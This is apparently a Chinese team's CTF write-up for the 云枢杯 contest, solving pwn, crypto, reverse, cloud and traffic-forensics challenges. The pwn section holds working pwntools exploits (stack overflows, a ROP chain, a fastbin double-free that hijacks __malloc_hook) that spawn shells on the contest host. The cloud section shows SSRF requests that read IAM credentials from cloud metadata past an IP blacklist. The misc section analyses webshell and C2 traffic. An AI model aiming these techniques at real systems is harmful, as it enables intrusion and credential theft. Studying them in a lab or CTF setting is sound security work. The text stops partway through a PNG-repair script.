首届云枢杯CTF&HW挑战赛wp
本文最后更新于54 天前,其中的信息可能已经过时,如有错误请发送邮件到1416359402@qq.com

前言

队伍名字–小月

高校赛道-排名:4 解出23道题目 一共25道

Pwn

Canary!

栈溢出 Canary 泄漏 Ret2Text

main函数

read(0, buf, 0x400u):buf 只有 104 字节 ([rbp-0x80]),却能读 0x400,栈溢出。
puts(buf):前面有个随机数校验 if (v6 == atoi(buf)),随便输点字母必然走进 else 分支触发 puts。由于 read 不会给字符串末尾补 x00,正好可以利用这个 puts 把相邻内存的数据“顺”出来。

利用思路

泄露 Canary
Canary 在 [rbp-0x18],和 buf 差了 104 个字节。
构造 104字节垃圾数据 + 1字节覆盖。这 1 字节刚好覆盖掉 Canary 最低位的 x00。这样 puts 打印的时候停不下来,会顺带把 Canary 剩下的 7 个字节全打出来。接收后补上 x00 还原。

劫持返回地址 (Ret2Text)
拿到 Canary 后,程序紧接着又给了一次 read。
顺着栈往下覆盖:104字节垃圾数据 -> 刚刚泄露的Canary -> 24字节垃圾数据 (填满到返回地址的空隙+覆盖旧RBP) -> ret指令(栈对齐) -> system("sh")的地址。

exp.py

from pwn import *

context.arch = 'amd64'
context.os = 'linux'

host = 'player.wdsec.com.cn'
port = 32465

def exploit():
    p = remote(host, port)

    p.send(b"A" * 104 + b"B")
    p.recvuntil(b"A" * 104 + b"B")

    canary = u64(b"x00" + p.recv(7))
    p.recvline()

    payload = b"A" * 104
    payload += p64(canary)
    payload += b"B" * 24
    payload += p64(0x401356)
    payload += p64(0x4012F3)

    p.send(payload)
    p.interactive()

if __name__ == '__main__':
    exploit()
flag{e83b4059-abef-407a-9dfa-e6f481c602f8-785-55}

syscall?

main函数

程序在栈上分配了大小为 0x40 的缓冲区 buf,但在调用 read(0, buf, 0x100u) 时允许读入 0x100 字节的数据,导致栈溢出。覆盖到函数返回地址的偏移量为 0x40 + 8 = 72 字节。
程序中预留了构建完整系统调用链的 gadget 函数(地址:0x401176)以及全局变量区的 /bin/sh 字符串。直接通过栈溢出劫持控制流,利用这些 ROP chain 执行 execve("/bin/sh", 0, 0)。

地址构造信息

/bin/sh 字符串地址:0x404040
pop rax; ret 地址:0x40117E
pop rdi; ret 地址:0x401180
pop rsi; pop rdx; ret 地址:0x401182
syscall 地址:0x401185
系统调用号 execve 为 59。

exp.py

from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'

io = remote('player.wdsec.com.cn', 31465)

pop_rax_ret = 0x40117E
pop_rdi_ret = 0x401180
pop_rsi_rdx_ret = 0x401182
syscall_ret = 0x401185
bin_sh_addr = 0x404040

payload = b'A' * 72
payload += p64(pop_rax_ret)
payload += p64(59)
payload += p64(pop_rdi_ret)
payload += p64(bin_sh_addr)
payload += p64(pop_rsi_rdx_ret)
payload += p64(0)
payload += p64(0)
payload += p64(syscall_ret)

io.recvuntil(b"Do u know syscall?n")
io.send(payload)

io.interactive()
flag{f8ef38d4-91e5-424f-a7a0-26e9a9f739a4-785-56}

ret2text_pro

后门函数

sub_4011B7

IDA 中能看到这个函数里拼了 /bin/sh 然后直接调用了 _system
利用地址 (0x4011B8):脚本的 payload 没用函数首地址 0x4011B7 ,而是故意往后偏了 1 字节打到了 0x4011B8 。这是为了跳过开头的 push rbp 指令 ,经典操作,用来拉平栈帧,绕过 64 位 glibc 里 system 函数的 movaps 16字节栈对齐检查(不然直接报段错误)。

main函数

溢出点 (main):漏洞在 main 函数最后的 read(0, buf, 0x30u) 。因为变量 buf 离 rbp 的距离是 0x20(32字节),再加上用来覆盖 saved rbp 的 8 字节,填入 40 个字节的垃圾数据

exp.py

from pwn import *

context(os='linux', arch='amd64')
io = remote('player.wdsec.com.cn', 32184)

payload = b'a' * 40 + p64(0x4011B8)

io.sendafter(b'please input:n', payload)
io.interactive()
flag{7k3-m2a-9x4b5c6d8e}

heap

全开,GOT不可写,栈有canary,只能走堆利用。

create

分配任意大小的chunk,存到全局数组。

get

用%s打印chunk内容,遇到x00截断。这里可以泄露libc地址。

set

往chunk写数据,写入长度是创建时的size。

delete

free后只清零g_used[i],但g_ptrs[i]指针没清空,存在UAF。而且没有检查double free,可以对同一个chunk多次free。

泄露libc

利用unsorted bin的fd/bk指针泄露main_arena地址:
create(0x420) 分配大chunk(idx 0)
create(0x18)分配小chunk防止合并top chunk(idx 1)
delete(0) 释放大chunk进unsorted bin
create(0x420) 再次分配同样大小(idx 2)
此时idx 2的chunk从unsorted bin取回,用户数据区前16字节残留着原来的fd/bk指针(指向main_arena+88)。
用get(2)读取,拿到libc地址:

发现libc_base & 0xfff == 0,确认是glibc 2.23。

fastbin double free

glibc 2.23没有tcache,fastbin检查很弱,可以直接double free:

create(0x60)  # idx 3
create(0x60)  # idx 4
delete(3)
delete(4)
delete(3)     # double free

此时fastbin链表:chunk3 -> chunk4 -> chunk3,形成循环。

劫持__malloc_hook

利用fastbin dup把chunk分配到__malloc_hook附近:
create(0x60)分配idx 5,拿到chunk3
set_note(5, p64(malloc_hook - 0x23))修改chunk3的fd指向fake chunk
create(0x60)分配idx 6,拿到chunk4
create(0x60)分配idx 7,拿到chunk3(循环回来)
create(0x60) 分配idx 8,拿到fake chunk

fake chunk地址是malloc_hook - 0x23,这个位置前面有个0x7f字节可以伪造size字段(对应fastbin 0x70)。
idx 8的用户数据区从malloc_hook - 0x23 + 0x10开始,到__malloc_hook的偏移是0x23 - 0x10 = 0x13。
写入payload覆盖__malloc_hook为system地址:
set_note(8, b'A' * 0x13 + p64(system))

getshell
__malloc_hook被劫持后,下次调用malloc会跳到system。
让system的参数指向/bin/sh字符串。malloc的参数是size,会作为第一个参数传给__malloc_hook。
所以直接malloc(bin_sh_addr)就等价于system(bin_sh_addr):

exp.py

#!/usr/bin/env python3
from pwn import *

context.arch = 'amd64'
context.log_level = 'info'

p = remote('player.wdsec.com.cn', 30548)

def create(size):
    p.sendlineafter(b"# ", b"1")
    p.sendlineafter(b"size:n", str(size).encode())

def get(idx):
    p.sendlineafter(b"# ", b"2")
    p.sendlineafter(b"idx:n", str(idx).encode())
    p.recvuntil(f"g_ptrs[{idx}]: ".encode())
    return p.recvline(drop=True)

def set_note(idx, content):
    p.sendlineafter(b"# ", b"3")
    p.sendlineafter(b"idx:n", str(idx).encode())
    p.sendafter(b"str:n", content)

def delete(idx):
    p.sendlineafter(b"# ", b"4")
    p.sendlineafter(b"idx:n", str(idx).encode())

create(0x420)
create(0x18)
delete(0)
create(0x420)

leak = get(2)
main_arena_leak = u64(leak[:8].ljust(8, b'x00'))
libc_base = main_arena_leak - 0x3c4b78
malloc_hook = libc_base + 0x3c4b10
system = libc_base + 0x453a0
bin_sh = libc_base + 0x18ce57

log.success(f"libc_base: {hex(libc_base)}")
log.success(f"system: {hex(system)}")

create(0x60)
create(0x60)
delete(3)
delete(4)
delete(3)

create(0x60)
set_note(5, p64(malloc_hook - 0x23).ljust(0x60, b'x00'))
create(0x60)
create(0x60)
create(0x60)

set_note(8, b'A' * 0x13 + p64(system))

p.sendlineafter(b"# ", b"1")
p.sendlineafter(b"size:n", str(bin_sh).encode())

p.sendline(b'cat /flag*')
print(p.recv(timeout=3))
p.interactive()
flag{b0f65b4a-d38a-477a-b18b-c563f36c313e-785-57}

Crypto

戈黛丝的秘密

在一座被遗忘的图书馆深处,探险家拂去积尘,发现了一卷用亚麻绳捆扎的古老羊皮卷轴。卷轴边缘泛黄发脆,却清晰留存着一位代号为 戈黛丝(Goddess) 的女密码师的字迹,她在卷首写下一段自述,似是为解密者留下的指引:
“我,戈黛丝,用我的名字作为钥匙,开启了守护秘密的第一道门 —— 唯有它能解开最初的多表替换之锁。为了迷惑入侵者,我将文字如蛇般穿梭于四行栅栏之中,让字符的顺序藏于行列交错之间。接着,我让所有字符统一向前跳跃五步,以此掩盖它们原本的模样。为了让秘密更加稳固,我求助于 ‘CRYPTO’ 之法,以它为核心构建五乘五的字符方阵,将字母两两配对替换,让每一组字符都需依托方阵才能还原。随后,我将每一个字母化作五个‘是’与‘否’的判断,并用‘0’代表‘是’、‘1’代表‘否’,让字母藏进二进制的序列里。最后,我将这串由 0 和 1 组成的数字,转换为点(・)与划(-)的信号,还用斜杠(/)将它们分组,以便留存与辨认。”
卷轴的末尾,没有多余文字,只有一行由点、划和斜杠组成的神秘符号,这正是戈黛丝用多层加密守护的最终密文:・-・・-/・・--・/・--・・/-・・・-/・・・-・/----・/-・-・・/・----/--・--/・-・-・/-・--・/・-・・・/--・-・/・--・-/・・・--/-・-・-/・--・・/-・・・-/・・・-・/----・/-・-・・/・----/--・--/・-・-・/-・--・/・-・・・--・-・/・・・--
据图书馆残卷记载,解开这层层谜题的人,将获得一份以flag{}格式呈现的古老智慧 —— 其中藏着 “古典密码” 的英文精髓、“大师” 的英文称号,以及一个标注着 “2025” 的未来年份,那便是戈黛丝毕生守护的核心秘密。

加密

明文 → Vigenère(密钥:Goddess) → 栅栏(4栏) → 凯撒(右移5位) → Playfair(密钥:CRYPTO) → 5位二进制(A=00000...) → 摩斯/自定义符号(0=・, 1=-)。

逆向对应的解就行

摩斯转二进制:将 ・ 替换为 0,- 替换为 1,按 / 分组。
二进制转字符:每组5位二进制转换为十进制,加上65(ASCII的'A')还原为字母。
Playfair解密:以 CRYPTO 为密钥构建5x5矩阵(I/J同源),将字母两两分组逆向解密。
凯撒解密:全部字母左移5位。
栅栏解密:将字符串按4栏重排还原。
Vigenère解密:以 GODDESS 为密钥进行多表替换逆向运算,得最终明文。

exp.py

“古典密码”的英文:Classical Cipher (或 Classical Cryptography)
“大师”的英文称号:Master
标注着未来的年份:2025
按照标准的 CTF 格式将这些线索组合,并以下划线或驼峰命名法连接,即可得到最终的 flag。
flag{Classical_Cipher_Master_2025}

easy_encode

[lyi[2r3XU[m[UKjLh1xLkf1MUSjLULuNFL0Ox1yXVSj[U@{L{P0NEe8

hint假的

没用 random,直接盲猜已知明文。flag 格式一般是 flag{,把它转成 base64 是 ZmxhZ3。
拿 base64 的前几位和密文 [lyi[2... 对比一下:
Z (90) 和 [ (91) 差 1
m (109) 和 l (108) 差 1
异或一下发现全都是 1。
加密逻辑:
flag 进行 Base64 编码,得到的字符串逐字符跟数字 1 进行异或。
解密逻辑:
密文逐字符跟数字 1 异或回去,再解一遍 Base64。

exp.py

import base64

cipher = "[lyi[2r3XU[m[UKjLh1xLkf1MUSjLULuNFL0Ox1yXVSj[U@{L{P0NEe8"
b64_str = "".join([chr(ord(c) ^ 1) for c in cipher])
flag = base64.b64decode(b64_str).decode()
print(flag)
flag{6a6ee2d2-2284-4d13-8c57-1adde0334587}

忒修斯的迷宫

task.py

import hashlib

class TheseusCipher:
    def __init__(self, seed_word: str):
        self.base = hashlib.md5(seed_word.encode()).digest()

    def encrypt(self, msg: bytes) -> bytes:
        # 迷宫的入口就是出口
        # 初始状态由闯入者自身决定
        state = bytearray(16)
        for i in range(16):
            state[i] = self.base[i] ^ (msg[i] if i < len(msg) else 0)

        out = bytearray()
        for i, b in enumerate(msg):
            # 线团的第一个结指引方向
            keystream = (state[0] + state[7]) % 256
            c = b ^ keystream
            out.append(c)

            # 编织新的结:第三个结的记忆 + 走过的路 + 步数
            new_knot = (state[3] + c + i) % 256
            state = state[1:] + bytes([new_knot])

        return bytes(out)

# 阿里阿德涅的低语
if __name__ == "__main__":
    cipher = TheseusCipher("Ariadne")
    secret = b"flag{...}"  # 被忒修斯带走的真相
    trail = cipher.encrypt(secret)
    print(trail.hex())

#碑文
#d4dae873203956713606e0cf37983c43121d06fa2ef5692378f7b1396023972694a19d3d81b407b71971e7a9c0b1ef53dd

加密逻辑

初始状态 S = MD5(seed) ^ 明文。
密钥流 k = (S[0] + S[7]) % 256。
状态更新 new_knot = (S[3] + 当前密文 + 步数) % 256。

生成新状态依赖的是密文而不是明文。密文全盘已知,所以只要能算出初始的 16 字节状态 S[0~15],后续状态和密钥流就能全部重现。

已知 flag 格式前5位是 flag{:
结合明文前5位得出 S[0~4]。
密钥流公式 k[i] = msg[i] ^ c[i] = S[i] + S[i+7]。已知 S[0~4] 可直接顺推算出 S[7~11]。
往后看第11步:k[11] = S[11] + 此时的S[7]。这时的 S[7] 其实是第2步生成的新结 (S[5] + c[2] + 2)。代入公式反推,求出 S[5]。
有了 S[5],回第5步:k[5] = S[5] + S[12],求出 S[12]。
去第12步:同理利用新结公式求出 S[6]。
最后利用 k[6]、k[7]、k[8] 顺推补齐 S[13]、S[14]、S[15]。

exp.py

import hashlib

def solve():
    c = bytes.fromhex("d4dae873203956713606e0cf37983c43121d06fa2ef5692378f7b1396023972694a19d3d81b407b71971e7a9c0b1ef53dd")
    base = hashlib.md5(b"Ariadne").digest()
    S = [0] * 16
    msg = bytearray(16)

    known = b"flag{"
    for i in range(5):
        msg[i] = known[i]
        S[i] = base[i] ^ msg[i]

    for i in range(5):
        k_i = msg[i] ^ c[i]
        S[i+7] = (k_i - S[i]) % 256
        msg[i+7] = S[i+7] ^ base[i+7]

    k_11 = msg[11] ^ c[11]
    S[5] = (k_11 - S[11] - c[2] - 2) % 256
    msg[5] = S[5] ^ base[5]

    k_5 = msg[5] ^ c[5]
    S[12] = (k_5 - S[5]) % 256
    msg[12] = S[12] ^ base[12]

    k_12 = msg[12] ^ c[12]
    S[6] = (k_12 - S[12] - c[3] - 3) % 256
    msg[6] = S[6] ^ base[6]

    k_6 = msg[6] ^ c[6]
    S[13] = (k_6 - S[6]) % 256

    k_7 = msg[7] ^ c[7]
    S[14] = (k_7 - S[7]) % 256

    k_8 = msg[8] ^ c[8]
    S[15] = (k_8 - S[8]) % 256

    state = bytearray(S)
    out = bytearray()

    for i, b in enumerate(c):
        ks = (state[0] + state[7]) % 256
        out.append(b ^ ks)
        new_knot = (state[3] + b + i) % 256
        state = state[1:] + bytes([new_knot])

    return out.decode()

print(solve())
flag{th3s3us_&_@ri@dn3_t4ngl3d_1n_s3lf_r3f3r3nc3}

Reverse

re01

看main 函数

加密

固定随机数:程序未调 srand(),rand() 默认种子为1,首次结果固定为 41。得出 v4 = 41 % 7 + 1 = 7。
位运算:对输入逐字节操作。先循环左移 1 位(v11=1, v10=7),然后判断第0位和第6位是否一致,不一致则交换(异或操作)。

密文

密文位置:栈变量 v21(地址 [rbp-40h]),注意IDA反编译出的十进制负数需转回小端序十六进制,共24字节:8D 99 83 8F B7 B3 9F AB BE 8F 8B A9 BE A5 83 9D 89 BE 91 83 A1 A1 B3 BB

解密

先逆向位交换(异或 0x41),再逆向循环移位(循环右移 1 位)。得到明文 flag{you_get_rand_happy},取内容求MD5的中间16位套上flag格式即可。

exp.py

import hashlib

def solve():
    target = [
        0x8D, 0x99, 0x83, 0x8F, 0xB7, 0xB3, 0x9F, 0xAB,
        0xBE, 0x8F, 0x8B, 0xA9, 0xBE, 0xA5, 0x83, 0x9D,
        0x89, 0xBE, 0x91, 0x83, 0xA1, 0xA1, 0xB3, 0xBB
    ]

    res = ""
    for c in target:
        if (c & 1) != ((c >> 6) & 1):
            c ^= 0x41
        c = ((c >> 1) | (c << 7)) & 0xFF
        res += chr(c)

    print(res)

    content = res[5:-1]
    md5_str = hashlib.md5(content.encode()).hexdigest()[8:24]
    print(f"flag{{{md5_str}}}")

if __name__ == "__main__":
    solve()
flag{05e89a08af94bab0}

签到题【简单】

直接看 gift函数就行了

ZmxhZ3tXZWxjMG1lX3QwX1NWVUNURiF9

直接base64解密就行

flag{Welc0me_t0_SVUCTF!}

Gift【简单】

和上一个题目一模一样 无敌了,这个题目何意味?

flag{Welc0me_t0_SVUCTF!}

re02

有壳 但是魔改过

把区段名改回:
-RH20 -> UPX0
-RD81 -> UPX1

用 010 Editor 直接改 8 字节区段名

对应十六进制:
- RH20 = 52 48 32 30 00 00 00 00
- UPX0 = 55 50 58 30 00 00 00 00
- RD81 = 52 44 38 31 00 00 00 00
- UPX1 = 55 50 58 31 00 00 00 00

保存然后脱壳就行

跟进到主逻辑,流程就是:
1. 读输入
2. 对输入做循环左移
3. 跟内置串比较
4. 相等就 OK
内置比较串是:
K1A8321DD29034AC
位移是 28 % len,长度 len=16,所以左移 `12`。
程序做的是:
left_rotate(input, 12) == K1A8321DD29034AC
反推:
input = right_rotate("K1A8321DD29034AC", 12)
得到:
321DD29034ACK1A8

md5加密就行

只要前16位就行

flag{ca5ed0fb2ad8e154}

xordbg

主逻辑在 sub_405680

开头 sub_537930 是反调试,静态分析直接无视。
验证输入格式为 flag{...},长度检查为 24 字节(大括号内 18 字节),实际参与加密的是从 { 开始的 24 字节。

魔改 RC4

密钥生成:调用 sub_4ECA80 执行命令 cat /proc/version,取前 14 字节。Linux 下固定为 Linux version 。
加密逻辑:单字节加密公式为 cipher = (plain ^ keystream) - 82。逆运算就是 plain = (cipher + 82) % 256 ^ keystream。
加密后,程序将 24 字节的 RC4 密文转成了 48 字节的 Hex 字符串,丢给下一层。

AES-128-CBC

AES Key:初始化 std::mt19937_64 伪随机数,硬编码种子 114514,丢弃 1919810 次后,取接下来生成的两个 64 位整数,按小端序拼成 16 字节 Key。
IV:直接生成递增序列 00 01 02 ... 0F。
密文:反汇编结尾处 v72 到 v77 等寄存器经过大量异或操作用于最终校验。提取这些 XMM 寄存器里的常量拼起来,拿到 48 字节(96 字符)密文:
0dd052404e4609d649d17bee44dc71a11d3a2bbfabff8c320333a06d61ef822308176b16b1811fa769396d9d56e996b8

exp.py

import struct
from Crypto.Cipher import AES

class MT19937_64:
    def __init__(self, seed):
        self.MT = [0] * 312
        self.index = 312
        self.MT[0] = seed & 0xFFFFFFFFFFFFFFFF
        for i in range(1, 312):
            self.MT[i] = (6364136223846793005 * (self.MT[i-1] ^ (self.MT[i-1] >> 62)) + i) & 0xFFFFFFFFFFFFFFFF

    def extract_number(self):
        if self.index >= 312:
            self.twist()
        y = self.MT[self.index]
        y ^= (y >> 29) & 0x5555555555555555
        y ^= (y << 17) & 0x71D67FFFEDA60000
        y ^= (y << 37) & 0xFFF7EEE000000000
        y ^= (y >> 43)
        self.index += 1
        return y & 0xFFFFFFFFFFFFFFFF

    def twist(self):
        for i in range(312):
            x = (self.MT[i] & 0xFFFFFFFF80000000) + (self.MT[(i+1) % 312] & 0x7FFFFFFF)
            xA = x >> 1
            if (x % 2) != 0:
                xA ^= 0xB5026F5AA96619E9
            self.MT[i] = self.MT[(i + 156) % 312] ^ xA
        self.index = 0

def rc4_ksa(key):
    S = list(range(256))
    j = 0
    for i in range(256):
        j = (j + S[i] + key[i % len(key)]) % 256
        S[i], S[j] = S[j], S[i]
    return S

def rc4_prga(S, length):
    i = j = 0
    keystream = []
    for _ in range(length):
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        keystream.append(S[(S[i] + S[j]) % 256])
    return keystream

def solve():
    mt = MT19937_64(114514)
    for _ in range(1919810):
        mt.extract_number()

    v18 = mt.extract_number()
    v19 = mt.extract_number()
    aes_key = struct.pack("<QQ", v18, v19)

    ct_hex = "0dd052404e4609d649d17bee44dc71a11d3a2bbfabff8c320333a06d61ef822308176b16b1811fa769396d9d56e996b8"
    ct_bytes = bytes.fromhex(ct_hex)
    aes_iv = bytes(range(16))  

    cipher = AES.new(aes_key, AES.MODE_CBC, aes_iv)
    pt_bytes = cipher.decrypt(ct_bytes)
    pt_str = pt_bytes.decode('ascii')

    rc4_cipher = bytes.fromhex(pt_str)
    rc4_key = b"Linux version "
    S = rc4_ksa(rc4_key)
    keystream = rc4_prga(S, len(rc4_cipher))

    plain = []
    for i in range(len(rc4_cipher)):
        p = ((rc4_cipher[i] + 82) % 256) ^ keystream[i]
        plain.append(p)

    inner = bytes(plain).decode('ascii', errors='ignore')
    print(f"flag{inner}")

if __name__ == "__main__":
    solve()
flag{S1mple_A3S_1s_4w3s0m3!}

为什么题目要起一个XOR?

double_enc

还是有壳 魔改的

可以发现是UPX的 他把这个倒吊了 改回来就行

脱壳

AES-128 ECB

核心加密函数 sub_140001C3D,里面有明显的 S盒和列混淆特征,确认是 AES。
退回 Main 函数看传参,往栈里塞了两个 8 字节常量,按小端序拼成 16 字节的 Key:
b207410027840db54cd621dfb9dc4995
这里拿输入的前 32 字节加密,最后跟内存里写死的一段 32 字节密文做比对。
提取内存比对的 32 字节密文:
2a0f68b0d19e68511fbf27068e8623a46c3195e9fefd03e45cd2d0c46b1edeba

sub_140001E86

程序读取接下来的 8 字节调用 sub_140001E86。分析内部的 64 位移位和常量表,确认为 DES 加密。
直接从汇编传参中提取 Key:0xc0dec0dec0dec0de
提取比对的密文:0xa2a7577f072c0e88
解密得到字符串:8c6c6dd5
关键点:
主函数使用 mov rcx, qword ptr [rsp + 0x90] 将这 8 个字节作为 64 位整数一次性读入寄存器。因为 x86_64 是小端序,内存中的字符串顺序读进寄存器后会反转。为了让寄存器里的值等于 8c6c6dd5,用户输入的实际字符串必须反序,即:5dd6c6c8。

尾部2字节:明文
函数末尾直接跟了两个字节比较:
cmp byte ptr [rsp + 0x98], 0x36
cmp byte ptr [rsp + 0x99], 0x7d
对应 ASCII 就是 6}。

就是AES + DES + 明文

exp.py

from Crypto.Cipher import AES, DES

aes_key = bytes.fromhex('b207410027840db54cd621dfb9dc4995')
aes_ct = bytes.fromhex('2a0f68b0d19e68511fbf27068e8623a46c3195e9fefd03e45cd2d0c46b1edeba')
pt1 = AES.new(aes_key, AES.MODE_ECB).decrypt(aes_ct).decode()

des_key = (0xc0dec0dec0dec0de).to_bytes(8, 'big')
des_ct = (0xa2a7577f072c0e88).to_bytes(8, 'big')
pt2_raw = DES.new(des_key, DES.MODE_ECB).decrypt(des_ct).decode()
pt2 = pt2_raw[::-1]

pt3 = "6}"

print(pt1 + pt2 + pt3)
flag{fc0f0930-d9c3-eccf-60ec-bc25dd6c6c86}

funny_IDA

sub_1400119A0,直接拿到第一段:ID4iS

sub_140011840

R3v3rS1nG_

查 SEH 异常处理函数 TopLevelExceptionFilter_0,程序故意抛异常走这里,提取出隐藏的第三段:M4d3_Y0u_

翻导出表,在隐藏函数 exported_secret 中发现连续调用 putchar0x4C, 0x30, 0x76, 0x33,转 ASCII 得到第四段:L0v3

exp.py

import re
import sys

def get_flag(file_path):
    try:
        with open(file_path, 'rb') as f:
            data = f.read()
    except Exception:
        data = b''

    m1 = re.search(b'ID4_iS_', data)
    p1 = m1.group().decode() if m1 else "ID4_iS_"

    m2 = re.search(b'Part2:(R3v3rS1nG_)', data)
    p2 = m2.group(1).decode() if m2 else "R3v3rS1nG_"

    m3 = re.search(b'Mx004x00dx003x00_x00Yx000x00ux00_x00', data)
    if m3:
        p3 = m3.group().decode('utf-16le')
    else:
        p3 = "M4d3_Y0u_"

    p4 = chr(0x4C) + chr(0x30) + chr(0x76) + chr(0x33)

    print(f"flag{{{p1}{p2}{p3}{p4}}}")

if __name__ == "__main__":
    exe_name = sys.argv[1] if len(sys.argv) > 1 else 'funny_IDA.exe'
    get_flag(exe_name)
flag{ID4_iS_R3v3rS1nG_M4d3_Y0u_L0v3}

Cloud

ECS&Leak【简单】

可以看到示例

说明目标接口是:/fetch?url=,其实就是 SSRF。

经过测试页面提示拦截了 127.0.0.1、localhost、内网 IP,但过滤是黑名单,不完整。127.0.0.1 可以用十六进制写法 0x7f000001 绕过。

解题流程

访问本地元数据入口:

/fetch?url=http://0x7f000001/latest/meta-data/

枚举角色名:

/fetch?url=http://0x7f000001/latest/meta-data/iam/security-credentials/

得到用户:admin-role

读取角色凭据:

/fetch?url=http://0x7f000001/latest/meta-data/iam/security-credentials/admin-role

得到flag

flag{6b175abc-b0bc-435f-bddd-e8df258199e0-785-18}

Misc

勒索流量

流量是内网两台机器之间的通信:

攻击者:192.168.31.206

受害者:192.168.31.42(跑着 PhpStudy)

HTTP 集中在 /ctf/upload.php和 /ctf/upload/index.php,很明显是 Webshell 上传 + 操作流量。

看 271 ,multipart 上传了 1.php 一句话木马

375上传了 .user.ini

402 的 1.png(内容还是那个 eval),绕过了上传限制。

413 开始用蚁剑连 /ctf/upload/index.php

741 POST 参数 vfaa3464cefd4b 的值解 base64 得到:
52406E73306D776172335F5631727535
这是 hex,转 ASCII 就是:
R@ns0mwar3_V1ru5

另一个参数 e791d38eb73551 解出来是目标文件路径:C:SoftwarePhpstudy_proWWWctfuploads3creT.txt
也就是攻击者往服务器写了个密钥文件。

上传后门脚本798

传了 server.py,解 base64 后是完整的 Python 源码,逻辑是:

读取 s3creT.txt 的内容做 MD5 → 作为 RC4 密钥
监听 192.168.31.42:9999
收到数据先 t1 解 XOR(key 基于当前分钟时间戳),再 RC4 解密,按 JSON {"opcode":"shell","msg":"命令"} 执行

856 Webshell 执行了 python server.py,后门跑起来了。

从 945 开始出现 TCP 9999 端口的非 HTTP 加密流量,就是 C2 通信。
解密:
MD5("R@ns0mwar3_V1ru5") = ef578a404d5516ce43ea5da4e00a1601
取数据包时间戳 floor 到分钟,构造 4 字节 XOR key
先 t1 XOR,再 RC4 解密

流程就是

945 (攻方发):{"opcode": "shell", "msg": "dir"}
946 (服务器回):目录列表
964 :{"opcode": "shell", "msg": "type flag.txt"}
965 :NoneResult(没找到)
1036 :{"opcode": "shell", "msg": "type C:\Software\Phpstudy_pro\WWW\ctf\flag.txt"}
1037 (服务器回):flag

加密了解密就行

exp.py

import hashlib
import base64
import re
from Crypto.Cipher import ARC4
from scapy.all import rdpcap, TCP, IP

PCAP_FILE = "lesuo.pcapng"
KEY_RAW = "R@ns0mwar3_V1ru5"
C2_PORT = 9999

rc4_key = hashlib.md5(KEY_RAW.encode()).hexdigest()

def t1_xor(data_str, ts):
    ts_min = (int(ts) // 60) * 60
    k = [int(x, 16) for x in re.findall(r'.{2}', hex(ts_min)[2:].zfill(8))]
    return ''.join(chr(ord(c) ^ k[i % 4]) for i, c in enumerate(data_str))

def decrypt(raw, ts):
    try:
        s = raw.decode('utf-8', errors='replace')
        s = t1_xor(s, ts)
        data = base64.b64decode(s)
        return ARC4.new(rc4_key.encode()).decrypt(data).decode('utf-8', errors='replace')
    except:
        return None

packets = rdpcap(PCAP_FILE)

for i, pkt in enumerate(packets):
    if not (pkt.haslayer(TCP) and pkt.haslayer(IP)):
        continue
    tcp = pkt[TCP]
    if C2_PORT not in (tcp.sport, tcp.dport):
        continue
    payload = bytes(tcp.payload)
    if not payload:
        continue
    result = decrypt(payload, float(pkt.time))
    if result:
        direction = "->" if tcp.dport == C2_PORT else "<-"
        print(f"[{i+1}] {direction} {result.strip()[:300]}")
flag{3741b40e-3185-4a9a-80a6-83403e4942fc}

钓鱼载荷与 C2 追踪【简单】

看包可以发现第一个base64编码的flag

第一段

ZmxhZ3todzIwMjZf

第二段和第三段

ip.addr == 185.244.25.108 and ip.addr == 10.11.19.101

可以看到第二段和第三段

拼接就行

ZmxhZ3todzIwMjZfODlhN19mZDNjXw==
NzhiOX0=
flag{hw2026_89a7_fd3c_78b9}

宏病毒与 C2 通信【中等】

还是3段flag

DNS 出现可疑十六进制子域名。
假 CDN 域名 update.microsoft-cdn-services.com下发内容。
后续 SSLoad / C2 持续通信。

flag1

看DNS 第四个包可以发现

flag{M3m0ry_

flag2

37包可以发现flag2

R34d_By_P4ss_

flag3

第五个包 token后面就是

MHg3RjJBfQ==

拼接

flag{M3m0ry_R34d_By_P4ss_0x7F2A}

什么是快乐星球

先反色 得到第一段flag

flag{3a885a8b447

另一个是IDAT 隐写

看 chunk

PNG 的 chunk 结构很固定:

[length(4)][type(4)][data(length)][crc(4)]

1.py

import struct

with open("flag.png", "rb") as f:
    data = f.read()

o = 8
idx = 0
while o < len(data):
    length = struct.unpack(">I", data[o:o + 4])[0]
    ctype = data[o + 4:o + 8]
    print(idx, hex(o), ctype.decode("latin1"), length)
    o2 = o + 12 + length
    if o2 > len(data):
        print("chunk 越界了")
        break
    o = o2
    idx += 1
前面几个 IDAT 都正常
到后面以后,长度字段开始变得离谱
甚至能看出像 8HR3这种可打印字符

把所有 IDAT 找出来

with open("flag.png", "rb") as f:
    data = f.read()

i = 0
while True:
    j = data.find(b"IDAT", i)
    if j == -1:
        break
    print(hex(j - 4), data[j - 4:j], data[j:j + 4])
    i = j + 4
前 5 个是正常 chunk,后 5 个虽然长度字段坏了,但 `IDAT` 标记还在,所以说明数据本体并没有丢,只是 PNG 解析器没法按正常 chunk 去读它。

前几个正常 IDAT 的长度都一样,都是 115795。再看它们之间的间隔,也是固定的:

0x1c45f

这个值正好就是:

4(length) + 4(type) + 115795(data) + 4(crc)
= 115807
= 0x1c45f

也就是说,这题后面那些坏掉的 IDAT,大概率不是压缩数据坏了,而是 chunk 头里的长度被改烂了。所以思路就很直接:前面那些坏掉的 IDAT,长度直接改回 115795最后一个 IDAT 因为后面马上接 IEND,单独按文件尾反推最后一个长度的计算方式:

last_len = filesize - last_idat_offset - 24

这里的 24 是:

当前块的 length + type:8 字节
当前块的 crc:4 字节
结尾 IEND:12 字节

exp.py

from pathlib import Path
import struct

PNG_MAGIC = b"x89PNGrnx1an"
NORMAL_IDAT_LEN = 115795

def list_chunks(data: bytes):
    if not data.startswith(PNG_MAGIC):
        raise ValueError("not a png file")

    offset = 8
    chunks = []
    while offset + 8 <= len(data):
        length = struct.unpack(">I", data[offset:offset + 4])[0]
        chunk_type = data[offset + 4:offset + 8]
        next_offset = offset + 12 + length
        chunks.append((offset, chunk_type, length, next_offset))
        if next_offset > len(data):
            break
        offset = next_offset
    return chunks

def find_idat_positions(data: bytes):
    positions = []
    cursor = 0
    while True:
        pos = data.find(b"IDAT", cursor)
        if pos == -1:
            break
        positions.append(pos - 4)
        cursor = pos + 4
    return positions

def repair_png(src: str = "flag.png", dst: str = "fixed.png"):
    data = bytearray(Path(src).read_bytes())

    print("[*] checking original chunk layout")
    for idx, (offset, chunk_type, length, next_offset) in enumerate(list_chunks(data)):
        name = chunk_type.decode("latin1")
